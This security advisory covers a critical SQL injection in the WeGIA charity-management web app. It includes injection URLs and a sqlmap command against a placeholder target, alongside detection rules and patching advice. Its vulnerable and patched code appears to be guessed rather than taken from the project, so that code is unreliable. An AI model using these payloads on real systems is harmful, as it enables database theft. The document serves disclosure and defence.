CVE-2025-61603

Executive Summary

CVE-2025-61603 is a critical SQL Injection vulnerability discovered in WeGIA, a web manager for charitable institutions. The flaw resides in the /controle/control.php endpoint, specifically within the descricao parameter. Versions 3.4.12 and below are affected. An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL commands, leading to full compromise of the database's confidentiality, integrity, and availability. The vendor has released version 3.5.0 to address this issue. No public exploit code or Nuclei templates have been identified at this time, but the vulnerability is trivial to exploit manually.

Supply Chain & Package Security

WeGIA is a PHP-based web application. The vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their WeGIA installation and ensure no malicious modifications have been made post-exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is rated as Critical due to the lack of authentication required, low complexity of exploitation, and the potential for complete database compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the descricao parameter of the /controle/control.php endpoint. The application fails to sanitize or parameterize user input before incorporating it into an SQL query. An attacker can inject malicious SQL code by manipulating the descricao parameter, allowing them to:

• Extract sensitive data: Dump user credentials, donation records, and other confidential information.
• Modify data: Alter records, insert backdoor accounts, or deface the application.
• Execute administrative operations: Potentially gain control over the database server itself.

The injection point is likely in a WHERE clause or INSERT statement that uses the descricao value directly. For example, a vulnerable query might look like:

SELECT * FROM registros WHERE descricao = '$_GET['descricao']';

An attacker could input ' OR '1'='1 to bypass authentication or ' UNION SELECT ... to extract data from other tables.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.4.12):

// /controle/control.php
$descricao = $_GET['descricao'];
$query = "SELECT * FROM registros WHERE descricao = '$descricao'";
$result = mysqli_query($conn, $query);

Patched Code (version 3.5.0):

// /controle/control.php
$descricao = mysqli_real_escape_string($conn, $_GET['descricao']);
$query = "SELECT * FROM registros WHERE descricao = '$descricao'";
$result = mysqli_query($conn, $query);

The patch uses mysqli_real_escape_string() to escape special characters, preventing SQL injection. A more robust fix would involve using prepared statements with parameterized queries.

Exploitation & Lab Setup

Red Team (Exploitation)

Manual Exploitation:

1. Identify a WeGIA instance (e.g., http://target-wegia/controle/control.php).
2. Inject SQL via the descricao parameter:

   http://target-wegia/controle/control.php?descricao=' OR '1'='1' -- -
   

3. Use UNION-based injection to extract data:

   http://target-wegia/controle/control.php?descricao=' UNION SELECT 1,2,3,4,5,6,7,8,9,10 -- -
   

4. Enumerate database tables and columns to extract sensitive information.

Automated Exploitation (sqlmap):

sqlmap -u "http://target-wegia/controle/control.php?descricao=test" --batch --dbs

Lab Setup:

• Environment: Docker container running WeGIA 3.4.12 with MySQL.
• Tools: Burp Suite, sqlmap, curl.
• Steps:
  1. Deploy vulnerable WeGIA using Docker.
  2. Confirm the endpoint is accessible.
  3. Execute injection payloads to verify vulnerability.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for unusual SQL keywords in the descricao parameter (e.g., UNION, SELECT, OR, --).
• Deploy a WAF rule to block common SQL injection patterns.
• Use the YARA and Sigma rules provided below.

Response:

• Immediately isolate the affected server.
• Review database logs for unauthorized queries.
• Rotate all credentials stored in the database.
• Apply the patch by upgrading to version 3.5.0.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /controle/control.php with suspicious descricao parameter values containing SQL keywords.
  • Outbound database connections from the web server to unknown IPs.
• File IOCs:
  • Modified PHP files in the WeGIA installation directory.
  • Unexpected files in /tmp/ or web-accessible directories.
• Database IOCs:
  • New user accounts with administrative privileges.
  • Unusual entries in audit logs (if enabled).
  • Large data exports or unexpected SELECT queries.

Detection Engineering

YARA Rule

rule CVE_2025_61603_SQLi_WeGIA {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-61603 in WeGIA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61603"
    strings:
        $suspicious_param = /descricao=.*(?:UNION|SELECT|OR\s+\d|--|#|')/i nocase
        $endpoint = "/controle/control.php" nocase
    condition:
        $endpoint and $suspicious_param
}

Sigma Rule

title: SQL Injection Attempt Against WeGIA CVE-2025-61603
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the descricao parameter in WeGIA control.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61603
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/controle/control.php"
        cs-uri-query|contains|all:
            - "descricao="
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" or "SELECT" in a description (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61603 SQL Injection Attempt - WeGIA descricao parameter"; flow:to_server,established; content:"/controle/control.php"; http_uri; content:"descricao="; http_uri; pcre:"/descricao=.*(?:UNION|SELECT|OR\s+\d|--|#|')/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade WeGIA to version 3.5.0 or later.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block SQL injection patterns in the descricao parameter.
3. Restrict network access to the WeGIA web interface to trusted IPs only.

Long-term Measures:

• Implement prepared statements with parameterized queries in all database interactions.
• Conduct a full security audit of the WeGIA codebase.
• Enable detailed logging and monitoring for all web requests.
• Regularly update all software components.

Verification:

• After patching, test the endpoint with a benign SQL injection payload to confirm the fix.
• Review database logs for any signs of prior exploitation.

Valters IT